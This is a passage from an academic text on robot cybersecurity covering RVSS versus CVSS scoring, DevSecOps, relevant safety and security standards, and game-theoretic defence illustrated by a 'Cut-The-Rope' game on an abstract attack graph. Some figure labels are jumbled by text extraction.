
• RVSS adds a few new metrics to the base, temporal and environmental scores, related to age
and safety aspects; in detail, the additional metrics are

– Age (Y), measuring the timespan since the vulnerability was first reported (in years),
with categories being Zero Day (Z), < 1 year (O), < 3 years (T), ≥ 3 years (M), and
Unknown (U).
– Modified Age (MY), so that the analyst can adjust the base metrics according to modi-
fications that exist within the analyst’s environment.

35
 – Safety (H), which measures potential physical hazards on humans or the environment.
Categorical possible values are Unknown (U), None (N), Environmental (E), and Human
(HU).
– Modified Safety (MH), to enable the analyst to customize score depending on the im-
portance of this aspect
– Safety Requirement (HR), which the analyst can use to adjust the base metrics according
to modifications that exist within the analyst’s environment.

[131] corroborates this proposal by providing a comparison of CVSS and RVSS metrics, based
on vulnerabilities identified in real-life robot system implementations. Table 4.1 gives an overview
of the results, where it is particularly interesting to note that the last example would come with
an overall zero score in CVSS, while RVSS does indicate at least medium severity.

Vulnerability description RVSS CVSSv3

Missing authorization mechanisms in a pro- (7.7, 7.7, 7.7) (9.1, 9.1, 9.1)
tocol allows remote attackers to gain unau-
thorized control the robots via network com-
munication
An attacker on an adjacent network could (10, 10, 10) (8.8, 8.8, 8.8)
perform command injection
An stack-based buffer overflow in a TCP ser- (10, 10, 10) (10, 10, 10)
vice could allow remote attackers to execute
arbitrary code and alter protected settings
via specially crafted packets
Exemplary vulnerability in ROS 2.0 commu- (5.9, 5.9, 5.9) (0, 0, 0)
nication middleware: Launching on arm64
with FastRTPS with fat archive from 2018-
06-21 never quits

Table 4.1: Comparison of RVSS and CVSS [131]

4.3 DevSecOps
Software quality in robotics is often understood as execution according to design purpose whereas
security is perceived as the robot will not put data or computing systems at risk of unauthorized
access [67]. In this section, we introduce DevSecOps in the context of robotics, a set of best
practices designed to help roboticists implant security deep in the heart of their development and
operations processes.
The compound word “DevOps” is a join between development and IT operations, and today
describes an agile IT operations service delivery, understood not as a framework, method or body
of knowledge, but rather as a “working philosophy” seeking to unify cultures, practices, and tools
related to development and operation. In other words, knowing that people from the development

36
area have a different attitude and working style compared to people from IT operations, DevOps
is the aim of bridging these differences. Robotics maybe offers a particularly complex gap to
bridge in this regard, especially when it comes to security, since it demands collaboration between
people from software development, computer hardware design, mechanical engineering, and other
disciplines. Adding security on top is yet its own challenge, since the awareness about potential
threats may largely differ between people from these areas. For example, people specialized in
software engineering rarely need to consider physical damage caused to people, as their primary
concern is about processing (and maybe protection) of data. Similarly, mechanical engineers rarely
need to worry about data confidentiality matters. In robotics, we find an interesting divergence
in the understanding of the terms safety and security, and it is worthwhile bearing in mind both
“definitions” when people join forces to develop robots:

• system security context: safety = protection against unintended attacks (i.e., by nature), vs.
security = protection against intentional attacks (e.g., by hackers).

• robot context: safety = prevention of any harm that the robot could do, vs. security =
prevention of any damage to the robot itself.

DevOps can be decomposed in two alternatingly connected cycles of development and operation
phases, as shown in Figure 4.1a. The idea of DevSecOps is adding an optional branch back into
the Dev- or the Ops-cycle to “break” the alternation pattern if necessary. The individual phases
have their own software aids and organizational procedures, and the challenge of DevOps is to get
these under a common denominator of collaboration. Still, the duties in each phase are separable:

• code: this summarizes the writing, review, versioning, documentation, merge, and all other
aspects of code authoring.

• build : this includes all matters of compilation, ranging from a plain compilation of source
files, until the application of modern build tools (e.g., Ant, Maven, etc.).

• test: besides running pre-defined use-cases, unit tests and the automated generation of test
cases is part of this phase, as well as tests with users, including usability evaluations. Specif-
ically, usability needs a distinction based on the “customer” of the component, which may
be the end-user who buys the final product and gets to see only its official user interface, or
whether it is a team colleague coming later in the DevOps cycle and itself concerned with
software development, integration, testing, deployment, or other phases inside DevOps.

• configure is the phase of putting the system into an initial configuration for deployment. For
security, this means (among others) to set initial access credentials with enforced change upon
first (one-time) use, defining a startup procedure, etc.

• deployment is the process of wrapping everything up for an installation in a productive

environment. This entails a preparatory phase to package not only executable files, but

37
 also resources on which these depend, up to including platforms (operating systems, virtual
machines), etc, as well as the actual installation at the customers’ premises or in a testing
environment.

• monitoring is the continuous surveillance of system performance indicators, but also the
collection of data related to economic aspects (business case) and the collection of customer
feedback (tickets, etc.).

• analyze compiles the results from the monitoring for different purposes, among them pre-
dictive analytics (of the system performance, but also for an early warning about security
incidents, e.g., intrusion detection), for the general purpose of identifying the potential for
improvement.

• planning takes all information collected from the operational (Ops) phases and reconsiders
the current system design accordingly. With security as an additional explicit focus, this
feedback includes risk analysis and evaluation results (from ISO31000 processes or similar).

DevOps aims at a continuous evaluation of the system’s design in the Dev phase, or its operation
in the Ops cycle. Figure 4.1b illustrates this by the two arrows as return directions into the
respective cycles. Both correspond to an instance of the well-known Plan-Do-Check-Act cycle of
risk management standards like ISO31000. Advanced software engineering may explicitly establish
the ISO PDCA cycle (plan-do-check-act) within the Dev and the Ops cycle. Specifically, this means
an explicit account of security matters during the respective phases, in particular including (but
not limited to):

• Zoning: delineation of areas whose security requirements differ; for example, parts of the
system to which access is highly sensitive, as opposed to other parts of a system that may be
more open to public access. This also includes a logic division into components that undergo
different maintenance procedures (like updates), where zoning – for security – means the
consideration of side-effects and security implications when a component becomes replaced
or updated, or implemented with redundancy (for availability). Typical tools in this regard
include containerization (e.g., Docker) or general virtualization technology.

• Compliance and attestation: throughout the design but also the operational phases, processes
need documentation, with a continuous focus on compliance for periodic or continuous risk
assessments. ISO 31000 is one framework to formalize the documentation and processes to
this end.

• Logging, monitoring, and database management: likewise as for the certification, all activity
in the system needs monitoring and logging for forensic purposes, root cause analyses for
error tracking, and also as part of compliance certification (see the previous item).

38
 • Authentication and authorization, implemented by techniques of access control and identity
management. Authenticity herein refers to subjects and needs distinction from the authen-
ticity of data, which is a separate duty (discussed next). Subjects herein include not only
people but also components, for which a proof of authenticity is usually called attestation
(see above).

• Data security, meaning confidentiality (by encryption), availability (by redundancy), integrity
(by cryptographic hash sums), and authenticity (by digital certificates). Further goals can
include non-repudiation (using proper logging and access control), and general data quality
management [26]. Most importantly, the management of keys (for symmetric as well as
public-key cryptography) is explicitly included here, spanning the entire lifecycle of keys
from generation, distribution, use, update, revocation, escrow, archiving, recovery, and secure
destruction of cryptographic keys and general access credentials.

• Network security, including the “standard techniques” like firewalls, network segmentation,
etc., but also more advanced security models like black clouds, a.k.a., software-defined perime-
ters.

Integrating the PDCA cycle into the DevOps cycle is a matter of linking the respective phases
to one another, such as possibly in the following way:

PDCA phase DevSecOps phase

plan plan, test, monitor and analyze
do plan, code, build and test
check configure, test, monitor and analyze
act code, build, test, configure and deploy

The correspondence is showing overlaps, meaning that the planning phase in ISO risk manage-
ment has an apparent link to the planning phase in DevOps, but the two having different aims:
while “plan” in DevOps relates to the system design, in particular, the phase with the same name
in risk management prescribes to include risk mitigation controls in the system. Naturally, this
should go into the planning for the development, but not exclusively, as input from the testing,
monitoring, and analysis phases can be relevant and useful for risk management as well. The cor-
respondence above shall be understood as explicitly bi-directional, meaning that risk management
phases draw inputs from DevOps phases, and DevOps phases need to draw input from the risk
management phases vice versa.
The approach of planning first, then implementing the plan (do), followed by monitoring how
well the plan meets expectations (check), and working on improvements based on lessons learned
(act) within the DevOps cycle (see Figure 4.1b). Alluding more to security, we can consider
structural improvements to the system as running through a PDCA cycle in the development, and
(in parallel) operational improvements by running the system in the best possible way. Game theory
can help with both regards in several ways:

39
 • for structural, i.e., design, choices, we can set up games to define the best resource invest-
ment related to security. For instance, there are game models to determine where to place
honeypots [9, 62] in networks. Different in concept is the application of games to quantify
the security of components; for example, the question of how to run a distributed ledger,
say, for secure logging, with quantifiable and guaranteed security. This has been studied by
[4], for example. A third notable application regards adversarial artificial intelligence, where
robust optimization [132] is applied, assuming a rational adversary trying to trick a machine
learning system from its intended into a dysfunctional behavior.

• for operational security, moving target defense is a matter of changing configurations (e.g.,
access credentials [107], etc.), or randomization of transmissions (as studied by [111]), or even
hardware design using randomization of register use (usually a precaution to prevent remote
code execution by buffer overflows, known as address space layout randomization).

Some illustrative selected examples will follow in Sections 5.1 and 5.2.2.

4.4 Relevant International Standards

The (in)security of robots is mostly rooted in the fast digitalization of the branch. Traditionally,
robots have been used in (networked) isolation without connections to the outside. Now, with
increasing connectedness, the security issues of other connected systems also affect robotics. When
developing a new robot or a robot-based application, security is actually an important requirement.
Due to the complexity of these systems, assuring security is a non-trivial task that is mostly
application-specific. In order to develop a common set of criteria for robot security, the most
relevant international standard is the IEC-62443 “Industrial communication networks - IT security
for networks and systems” standards series. It defines requirements and processes for multiple
actors involved in developing a secure industrial system, namely the component vendor, the system
integrator, and the end user. IEC-62443 defines multiple security levels depending on which kind of
attacks a system should be secured against (ranging from incidental manipulation to highly-skilled
groups with extensive resources). Based on the process and requirements defined in IEC-62443,
structured, security-enhanced development processes like DevSecOps can be employed to build
secure robot systems.
As pointed in previous sections, there’s an intrinsic connection between safety and security.
Safety cares about the robot not harming the environment (or humans) whereas security deals
with the opposite, aims to ensure the environment does not conflict with the robot’s programmed
behavior. Functional safety standards reflect this aspect. Figure 4.1 depict functional safety stan-
dards that are relevant in robotics and the connection between them.
At the European level, The Machinery Directive, Directive 2006/42/EC of the European Par-
liament and of the Council of 17 May 2006 [33] is a European Union directive whose main intent is
to ensure a common safety level in machinery placed on the market, including robotics. In a other
words, it seeks to harmonize machine safety requirements. It’s important to note that directives

40
 code deploy
build

Dev Ops

test

(a) DevOps as alternation between development and operational phases

code deploy
Sec
Dev Ops
build

PDCA PDCA
test

(b) DevSecOps by integration of (two) PDCA cycles

41
 Figure 4.1: Safety standards of relevance for robotics and their relationship.

EN 5012X family

Family of standards,
functional safety for
rail industry

IEC 62304

ay
Medical device soft-

railw
ware - Software life-
cycle processes

al
dic
me
IEC 61508
EN ISO 13849
Functional safety of
control
electrical/ electron- Safety of machinery -
ic/programmable elec- Safety-related parts of
tronic safety-related control systems
ial

systems
nu
str

cle
u

a
ind

DO-297 (and others) IEC 61513

Safety Integrated Modular Avionics Nuclear power plants

- Instrumentation and
avionics (IMA) Development Guid-
auto

standards
ance and Certification Con- control important to
mot

siderations safety
ive
spa
ce

ECSS standards
ISO 26262
European Cooperation
Road vehicles —
for Space Standardiza-
Functional safety
tion (ECSS) standards

42
are ratified by the EU as a whole, then each member country is expected to implement its own local
laws, regulations and standards to enforce the directive. So the directive is subject to interpretation
by lawmakers and regulatory authorities and standards organizations and to further interpretation
by companies that design, build and use machinery.
While only the machinery directive itself can be considered a law, the text itself is too broad
for industry to apply directly. Accordingly, two alternative European standards were developed
by the International Organization for Standardization (ISO) and the International Electrotechnical
Commission (IEC) in compliance with EU Machinery Directive 2006/42/EC: EN ISO 13849-1 and
EN 62061, both inspired by IEC 61508 ”Functional Safety of Electrical/Electronic/Programmable
Electronic Safety-related Systems”. IEC 61508 is often considered as the meta-standard for safety
safety and from where most functional safety norms grow. IEC 61508 indicates the following in
section 7.4.2.3:

”If the hazard analysis identifies that malevolent or unauthorised action, constituting a
security threat, as being reasonably foreseeable, then a security threats analysis should
be carried out.”

Moreover, section 7.5.2.2 from IEC 61508 also states:

”If security threats have been identified, then a vulnerability analysis should be under-
taken in order to specify security requirements.”

which translates to security requirements. Note these requirements are complementary to other
security requirements specified in other standards like IEC 62443, and specific to the robotic setup
in order to comply with the safety requirements of IEC 61508. In other words, safety requirements
spawn from security flaws, which are specific to the robot and influenced by security research.
Periodic security assessments should be performed and as new vulnerabilities are identified, they
should be translated into new security requirements. More importantly, the fulfillment of these
security requirements to maintain the robot protected (and thereby safe) will demand pushing the
measures to the robot endpoint. Network-based monitoring solutions will simply not be enough to
prevent safety hazards from happening. Safety standards demand thereby for a security mechanism
that protects the robot endpoints and fulfill all the security requirements, a REPP.

43
Chapter 5

Game Theory for Security

Before describing the more general terms of game theory and its security application, let us illustrate
the basic idea of how to use game theory on a simple game set up on the output artifacts of a
(conventional) TVA (Section 4.2), and penetration testing tools (Section 4.1).
A general game is cooked from three ingredients:

• A set of players, here being only two: a defender (player 1) versus an attacker, as player 2.

• A set of actions for both players, which depends on the possibilities of defense and attack,
resp. penetration. These actions sets are widely unrestricted in terms of how their elements
look like, but an “action” can be understood as any prescription (arbitrarily complex) on how
to act towards a certain goal. This description can range from very simple yes/no decisions,
up to complex attack patterns entailing whole sequences of command and control, similarly
as in Figure 2.2, for instance.

• A set of utility functions, for each player, which quantifies the revenue upon the joint actions
taken by all players. This is in many cases the most intricate component to specify, since it
is supposed to compile a numeric value that all players are supposed to optimize by taking
certain actions. For security, this bears the challenge of aggregating perhaps several security
goals in the utility value, as well as it also needs to accurately reflect the incentives of each
player in the competition. The construction of proper payoff functions is at the core of most
game theoretic models for security, with the second core ingredient being the actual solution
of the game; in many cases an equilibrium.

An equilibrium is a strategy profile that once jointly implemented by all players, does not leave any
player with an incentive to deviate from it, given that no other player does so. It is thus a strict
selfish perspective, not precluding the possibility to join forces with other players to gain more from
the game than one could get alone. In security, however, we mostly assume players to act on their
own, as security teams can in many instances be modeled as a single player with a respectively
more complex ability to take actions.

44
 In the following, we describe a simple instance of a game that is directly playable on an attack
graph, such as a TVA would deliver. This has the appeal of naturally inducing the respective action
sets, as well as utility functions, in the game about chasing an invisible intruder throughout the
attack graph.

5.1 Introduction by Example: Chasing the Adversary on Attack

Graphs
Suppose that we are dealing with a stealthy attacker that tries to penetrate a system, e.g., a ROS
instance, and seeks to conquer a certain node in it, e.g., an actor element to cause (physical)
damage, or to reconfigure it to produce minor quality in the long run (say, by placing less welding
points or otherwise causing quality deterioration).
To illustrate the game and results, consider a very simple system consisting of three machines,
one of which (Machine 0) is under an adversary’s control, trying to take further control over a
particular ROS node, here machine 2. It aims to do so by either directly sending commands
to machine 2, or taking a detour over machine 1. Note that we here, in Figure 5.1a adapted
the example originally due to [122] for the network context, but analogously applicable to ROS
too. Figure 5.1b shows an exemplary attack graph with condition nodes (boxes), exploit nodes
(ellipses), and starting and finishing points of the attack. The predicates shown along the way
represent access takeover events using a certain technique (e.g., a file transfer to a remote host
(ftp rhost) or remote shell (rsh) access, from machine A to machine B, denoted as “parameters”
to the respective predicates. Further exploits concern buffer overflows (bof) in specific protocol
stacks (e.g., ssh) or on the local node’s firmware).
The mathematical game played on the attack graph proceeds along the following lines:

1. The intruder runs through several exploits in a sequence, hiding its traces and leaving back-
doors for an easy return later on. The intruder can become active at any time (including
nights and weekends), and can become active at any frequency (be attacking often in short
time, or remaining idle for longer periods). While we do not assume the defender to “see”
the activities of the adversary, we nonetheless assume that the defender knows the “rate” λ
at which the attacker becomes active per time unit. That is, we adopt an assumption on the
knowledge of a value λ that measures the “number of penetrations per time unit”.
The attacker is thus free to pick any attack path, a.k.a. attack vector, to reach its goal.
And here comes a practical difficulty, since there are generally exponentially many options
here. Reducing the complexity of attack graphs to subsequently keep the possibilities within
feasible bounds to fix them is a matter beyond our scope here, but important to bear in
mind when constructing the attack graph. One simple mean is grouping nodes with similar
vulnerabilities or exploits, and other techniques take advantage of game theory here too, and
include only those attack vectors who are “most promising”, assuming that the attacker will

45
 ftp, rsh, ssh

execute(0) → ftp rhosts(0,1) → rsh(0,1) → ftp rhosts(1,2) → rsh(1,2) → local bof(2) →

execute(0) → rsh(0,1) → ftp rhosts(1,2) → sshd bof(0,1) → rsh(1,2) → local bof(2) →

execute(0) → sshd bof(0,1) → ftp rhosts(1,2) → rsh(0,1) → rsh(1,2) → local bof(2) →

ROS Node
(Machine 1)

execute(0) → ftp rhosts(0,1) → rsh(0,1) → rsh(1,2) → local bof(2) → full access(2)

ROS
External Machine 0

ftp, rsh

execute(0) → ftp rhosts(0,2) → rsh(0,2) → local bof(2) → full access(2)

execute(0) → sshd bof(0,1) → rsh(1,2) → local bof(2) → full access(2)

ROS Node

execute(0) → rsh(0,1) → rsh(1,2) → local bof(2) → full access(2)

(Machine 2)

(a) Infrastructure (adapted from literature)

1
ftp(0,2) execute(0) ftp(0,1) ssh(0,1)

execute(0) → rsh(0,2) → local bof(2) → full access(2)

8 5
2
ftp_rhosts(0,2) ftp_rhosts(0,1) sshd_bof(0,1)

rsh(0,2) trust(2,0)
trust(2,0) rsh(0,1)

9
rsh(0,2) rsh(0,1) 3

ftp(1,2)
execute(1)
4
ftp_rhosts(1,2)

rsh(1,2)
trust(2,0)
full access(2)

full access(2)

full access(2)

rsh(1,2)
6
Attack path

execute(2)

7
local_bof(2)

10
No.

full_access(2)
1

2
3
4

5
6
7

initial attacker‘s capability

(c) Attack paths in the graph
x location (number corresponds to
precondition the vertex vi in the graph on shown in Fig 5.1b
which the game is played.
attacker‘s exploit Edges between the vi
correspond to the connections
final result shown above.
(b) Attack Graph [122]

Figure 5.1: Example Playground for Cut-The-Rope

46
 not pursue a path with unnecessary many obstacles on it. Commercial tools to compile attack
graphs (e.g., [30]) or theoretical accounts for attack-defense games [115] list methods here to
reduce the complexity. In the example shown in Figure 5.1, the table in Figure 5.1c shows
an exhaustive list of all attack paths that the intruder could follow. The smallness of the
example admits this listing here.

2. The defender chooses a point in the attack graph to inspect, corresponding to a physical node
(perhaps the same physical node for several nodes in the attack graph), i.e., monitor for sus-
picious activity, update or patch it, change credentials, etc. Knowing how often the attacker
is supposed to become active (the value λ), the defender can invoke a Poisson distribution
to model the probabilistic depth of penetration into the system from the starting point. If
knowledge of λ is unrealistic, then alternatives are equally admissible, say, taking a CVSS or
RVSS score to express the difficulty of mounting an attack or exploit, and by that knowledge,
describing probabilistically how deep the intruder already has made it into the system.
Note that this particular game assumes the defender to become active in fixed intervals, like
working days, or working shifts. These intervals determine the time unit relative to which
the attacker’s activity level λ is measured. Generalizations to 24/7 security response teams
are possible, yet not deeper discussed here.

3. The goals of the two players are, for the attacker, to hit the designated target node (here,
machine 2), while it is the defender’s aim to keep it away from machine 2 as good as it can.
Note that the defender has no guarantee of ever being successful in really “catching” the
intruder upon an inspection, and it may have quite good chances to miss it at all, if the
adversary walks in along a different attack path, than the defender is currently checking.
This means that there are basically two possible outcomes upon a spot check, i.e., when the
defender takes action in the game:

• it can, most likely unknowingly, clean a node from a backdoor that the adversary has
previously left there. In that case, the attacker is sent back to an earlier node in the
attack graph and needs to penetrate the node again that the defender has just cleaned
or reconfigured. This effect gives the game it’s name as “Cut-The-Rope”, since the
attacker’s rope from the beginning down to the target has been “cut” by the defender.
• it has checked a node that was completely outside the route that the adversary is on,
or that may be on the attacker’s route towards its goal, but it has not reached it yet.
In both cases, the defense action remains without any effect for the defender, or the
attacker (except for the adversary having accomplished another step towards the goal
undisturbed.

The quantitative goal for both players is to maximize, respectively minimize, the chances for
the intruder to hit its goal. The defender then needs to pick its actions so that the chances to

47
 hit machine 2 are minimized, while the attacker will pick its attack vectors towards maximizing
the probability to hit its target.

This is already a qualitative, yet informal, mathematical game played on an attack graph, where
the action spaces for the attacker are the exploit nodes, and the action space for the defender is
all nodes where a spot check, patch or reconfiguration is doable for a defense. It is an instance of
a moving target defense, and implementable by very simple means; in the case of this particular
game, the code is freely available from [125].
The result of the computation, as for most game-theoretic models, is a threefold information:

• an optimal decision making scheme for the defender to act best against the opponent

• a likewise optimal behavior for the attacker,

• and an equilibrium payoff to both players, quantifying their revenue if the respective other
player is taking its optimal actions.

We call a strategy profile that simultaneously optimizes the payoffs for all players, respecting
mutual negative or positive correlations between their individual payoffs, an equilibrium. For the
game in Figure 5.1, it comes as an optimal inspection schedule for the defender, i.e., prescribing the
frequency and random choice of system components to patch, update and scan for malware. The
second part of the equilibrium is a likewise optimal choice rule about attack paths for the adversary.
We leave this information out here, but explicitly warn about taking the attacker’s optimal behavior
as a guideline on where to defend! This seemingly natural use of the result is dangerous in light
of there being other equally optimal ways for the attacker to win the game besides what the game
computes, and hence a defense should generally not be built on a hypothetical model of where
the attacker is expected to hit (not even if this information comes out of a game optimization).
Essentially, it is thus best for the defender to implement the defense that the game computes as
explicit equilibrium for the defender, but the likewise information for the attacker must be taken
with care. The good news is that the equilibrium defense strategy will be optimal in any case of
adversarial behavior, conditional on the attacker not coming up with unexpected attacks such as
zero-day exploits. Conditional on the attacker acting only within its (modeled) attack set, there is
no way of improving the defender’s performance by any deviation motivated by what we think the
attacker would do in the game.
For the example in Figure 5.1, we find the optimal defense to be inspecting machine 2 continu-
ously, eventually preventing a buffer overflow to occur locally (node 7 in the graph in Figure 5.1).
This is not surprising, given the fact that all attack paths eventually must traverse node 7, making
it the most promising point to establish a defense. If a permanent fix to this node is possible, then
the topology of the attack graph of course changes, either by adding new links and nodes, or by
cutting the target node off so that the graph becomes disconnected. This practically optimal case
can, however, hardly be expected to happen in reality. Still, since the attacker could have been
active over the defender’s capabilities, leaving a residual chance of hitting the target before the first

48
inspection on the vulnerable node 7. Eventually, what the game analysis gives us, corresponding
to the three result items mentioned above, is the following information [108]:

• optimal defense: check machine 2 for buffer overflows, i.e., keep node 7 under protection in
the attack graph.

• optimal attack: take path execute(0) → ftp rhosts(0,2) → rsh(0,2) → full access(2).
This path, coincidentally, corresponds to the shortest attack path in this instance of the game.
It may alternatively also come up as the “easiest” path to penetrate according to CVSS or
RVSS ratings, depending on how the game was defined.

• equilibrium utility U ∗ : in the given setup, this is the probability (distribution) of the attacker
location over the 10 possible positions in the attack graph, and we get numbers for these
likelihoods from the equilibrium computation, being


 node probability of the attacker being there

1 0.573





2 0





3 0





 4 0



∗
U ≈ 5 0 (5.1)

6 0.001





7 0.111





8 0.083





9 0.228





10 0.001


which is the expected effect of the defender’s original duty, i.e., the adversary can get close to
the part or machine represented by node v0 , but has only a very small chance of conquering
it.

Further aspects to include in the consideration relate to the possibility (and perhaps likely event)
to see an optimized defense fail from time to time. Intrinsic to the concept, with reasons exposed
more visibly later, the defender may suffer a “disappointment” by missing the attacker although
the game-theoretically best defense was implemented. Including the possibility of such events
and minimizing the chances for a defense to fail at all is a more complex matter and theoretically
challenging. We refer to the work of [13, 37, 134] for methods in this regard. Much easier to include
are costs of changing configurations for security. While patching a node’s software is typically part
of the regular maintenance duties, a change of access credentials or changing a node’s configuration
is something with the risk of causing service disruptions, and hence often avoided. One can (and
would need to) include such costs in the design of the respective utility functions, and generic
methods to do so have been described by [109].

49
5.2 Introduction to Security Games and Strategic Defenses
We have seen in recent years that attackers are becoming increasingly sophisticated and intelligent.
Traditional security solutions that rely on cryptography, firewalls, and intrusion detection systems
are necessary (cf. Section 2.3) but not sufficient to guarantee the security of the robots. There
are many ways that an attacker can circumvent these technologies and gain access to the targeted
systems. The design objective of perfect security is not possible as the system designers are always
constrained by resources. The attack graph from Section 5.1 is one step towards this: instead of
aiming for perfect security, one reasonable security solution is to understand the specific system
features and their objectives and take into account the strategic behaviors of the attacks and
the constraints on the attack-and-defense resources. In robotic systems, the consequences of a
compromised system differ depending on the domain of the applications. For example, a service
robot that interacts with humans, e.g., self-driving cars and autonomous vehicles, can be turned
into a deadly weapon that hurts human users. Manufacturing robots on assembly lines can break
down and cause a significant economic loss due to reduced production. Hence understanding and
quantifying the system-specific objectives and the available resource is key to developing an effective
defense mechanism against attackers.
To this end, game theory provides a modeling and reasoning framework for the design of effective
security solutions [64]. First, game-theoretic models can capture the competitive and strategic
behaviors of the players and their constraints. Second, there are a rich set of game-theoretic
algorithms and tools that enable the prediction of the outcomes through the analysis and the
computation of the equilibrium. Third, game models provide ways to incorporate human factors,
including bounded rationality, cognitive biases, and human perception. Fourth, game models can
take different forms at multiple layers of the system and for various attack models. They can be
composed and integrated to create a game of games to provide a holistic view of the security issues
across the layers of the system and enable a design of system-wide security solutions. Game theory
has been used in a wide variety of cybersecurity contexts. A few application areas include intrusion
detection systems [153, 154, 168], adversarial machine learning [93, 143, 145, 147, 152], proactive
and adaptive defense [27, 34, 43, 128, 161, 169, 171], cyber deception [49, 86, 88, 89, 151, 156],
communications channel jamming [7, 139, 157, 162, 166, 167], secure industrial control systems
[3, 73, 156, 158] and critical infrastructure security and resilience [17, 18, 44, 45, 46, 48, 117].

5.2.1 Models and Security Games

Let us reconsider the intuitive description of games laid out in Section 5, in more rigorous and
general terms: A normal form game of complete information is defined by three elements. The first
one is the set of players, denoted by N . In security games, there are often two players in the game.
One is the attacker A. The other one is the defender D. The second element is the action set of
the players, denoted by Ai , i ∈ N . The action set captures the feasible actions that are available to
the players. It can naturally incorporate the system and knowledge constraints of the players, and

50
the rules of the games. The third element is the preference or the payoffs of the players Ui , i ∈ N ,
which depends on the actions played by all players, {ai , i ∈ N }, known as the action profile. Each
player chooses to play the action that maximizes his payoff. We are interested in the outcome of
this game when the players have complete information of this game and choose action ai ∈ Ai to
maximize their own payoff. The normal-form game of two players with finite actions, say the row
player A and the column player D, can be represented by a matrix. Each row k ∈ {1, 2, . . . , n}
corresponds to an action in the action set of player A; each column l ∈ {1, 2, . . . , m} corresponds to
an action in the action set of player D. Matrices F, G ∈ Rn×m are the payoff matrices for players
A, D, respectively. Entries Fkl , Gkl represent the payoff to players A, D, respectively, when actions
that correspond to k-th row and l-th column are played.
This outcome is predicted by the solution concept called Nash equilibrium. An action profile
{a∗i ∈ Ai , i ∈ N } constitutes a (pure-strategy) Nash equilibrium when no player can deviate from
it unilaterally; in other words,
Ui (a∗i , a∗−i ) ≥ Ui (ai , a∗−i ),

for all ai ∈ Ai , i ∈ N . Here, a∗−i is the set of all equilibrium actions {a∗i , i ∈ N } excluding the
equilibrium action of player i, i.e., a∗i . The Nash equilibrium of an N -person game defined by
the triplet (N , {Ai }i∈N , {Ui }i∈N ) may not exist. However, the existence issue is resolved when we
extend the strategy space to mixed strategies, which are essentially probability distributions over
the action spaces that describe random choice rules for taking actions in the game: Let xi , i ∈ N ,
be the mixed strategies of player i. Its j-th component xi (aj ) can be interpreted as the probability
of player i choosing action aj from the discrete action set Ai . It is clear that xi (aj ) is nonnegative
P
and aj ∈Ai xi (aj ) = 1. Under the mixed strategy profile {xi , i ∈ N }, the payoff received by the
player is the average payoff Ūi (xi , x−i ), which is merely a weighted sum using the payoffs from the
actions, multiplied with their corresponding probabilities from the mixed strategy. In the case of
two-player games, let x1 , x2 be the mixed strategies represented as a finite-dimensional vectors (of
appropriate dimension) of the row player and the column player, respectively. The k-th component
of x1 and the l-th component of x2 correspond to the probabilities of the row player (resp. column
player) choosing actions associated with k-th row (resp. l-th column). The average payoff to the
row player is given by Ū1 = xT1 F x2 ; the average payoff to the column player is given by Ū2 = xT1 Gx2 .
The mixed-strategy Nash equilibrium can be defined in a similar way as the pure-strategy Nash
equilibrium. The mixed-strategy profile {x∗i , i ∈ N } constitutes a mixed-strategy Nash equilibrium
if for all admissible mixed strategy xi , i ∈ N ,

Ūi (x∗i , x∗−i ) ≥ Ūi (xi , x∗−i ).

It has been known that there exists a mixed-strategy Nash equilibrium for every finite normal-form
game [5, 78].
Zero-sum games are a special class of games that are often used to model strictly competitive
behaviors between two players. One player’s gain is the other player’s loss. In other words, let

51
U1 (a1 , a2 ) = −U2 (a1 , a2 ) = U (a1 , a2 ). Player 1’s objective is to maximize the payoff U while Player
2’s objective is to minimize it. The roles of who maximizes and who minimizes can, however, be
freely exchanged, and the game Cut-The-Rope is an example where the defender is a minimizer:
indeed, the defender’s payoff in Section 5.1 is simply the probability for the attacker to hit the vital
target asset, which naturally should be small if the defense is good. In turn, the attacker obviously
seeks to maximize this probability, and we have a zero-sum competition here.
The solution concept of zero-sum games is saddle-point equilibrium: this is a joint strategy
(a∗1 , a∗2 ) if for all a1 ∈ A1 and a2 ∈ A2 , U (a1 , a∗2 ) ≤ U (a∗1 , a∗2 ) ≤ U (a∗1 , a2 ), and called pure if the
strategies a∗1 , a∗2 are pure. A two-person zero-sum game can be represented by one matrix H. Row
i of the matrix corresponds to the i-th action of the row player, say the defender. Column j of
the matrix corresponds to the j-th action of the column player, say the attacker. The entry of the
matrix Hij is the payoff to the defender, i.e., the loss to the attacker when the defender plays the i-th
action and the attacker plays the j-th action. Let x1 and x2 be the mixed strategies of the players.
The average payoff or loss to player 1 or player 2, respectively, is given by Ū (x1 , x2 ) = xT1 Hx2 .
Here, x1 , x2 , and H are vectors and matrix of appropriate dimensions. A mixed strategy (x∗1 , x∗2 )
is a mixed-strategy saddle-point equilibrium if for all admissible x1 , x2 , Ū (x1 , x∗2 ) ≤ Ū (x∗1 , x∗2 ) ≤
Ū (x∗1 , x2 ). The value Ū achieved under the equilibrium profile is called the value of the game.
Returning to Cut-The-Rope (Section 5.1) again for illustration, the value would be the last
number v = 0.001 in (5.1), since the game is primarily about minimizing the attacker’s chances
to hit its target. Any deviation towards a different defense than prescribed by the game would
just increase the success chances for the adversary to more than 0.001. This is important for the
defender to bear in mind, since an attempt to further decrease the protection in other places may
open the door wider for the attacker: for example, if the defender is okay with the probability of
0.001 for the attacker to hit node 10, but then strives to decrease the – seemingly high – probability
of 0.228 for the attacker to be at node 9 instead, any change in the defense strategy for the sake of
lowering the number 0.228 would imply an increase of the attacker’s chance to hit node 10 perhaps
on other ways, say, bypassing node 9 at all! This effect is due to the equilibrium property formalized
above.
One important property of saddle-point equilibrium is the exchangeability; i.e., when (x∗1 , x∗2 )
and (x◦1 , x◦2 ) are two distinct saddle-point equilibria of the zero-sum game, then (x∗1 , x◦2 ) and (x◦1 , x∗2 )
are also saddle-point equilibria of the game and yield the same game value. This is the theoretical
reason why it is safe for the defender to use any of the existing equilibria for its defensive purpose,
but at the same time dangerous to rely on the adversary’s equilibrium as a hint on where to defend:
the exchangeability property lets the adversary pick any of (perhaps many) optimal attack strategies
to gain the best possible success rates, which can easily annihilate the defender’s precautions if they
were based on the attacker’s equilibrium behavior instead of the (better) defender’s equilibrium
strategies.

52
Figure 5.2: A team of UAV collaborate on a mission. They can communication with each other
when one is in the range of communication of the other. An attacker can jam the signals between
two UAV.

5.2.2 Structural and Operational Security

Zero-sum games are useful to capture many security scenarios. For example, a jamming game
between a team of UAV and a jammer has been investigated in [23]. Illustrated in Fig. 5.2, a team
of UAV is controlled to maximize the connectivity among themselves in an adversarial environment
where an attacker can choose a subset of communication links to jam. The game between the
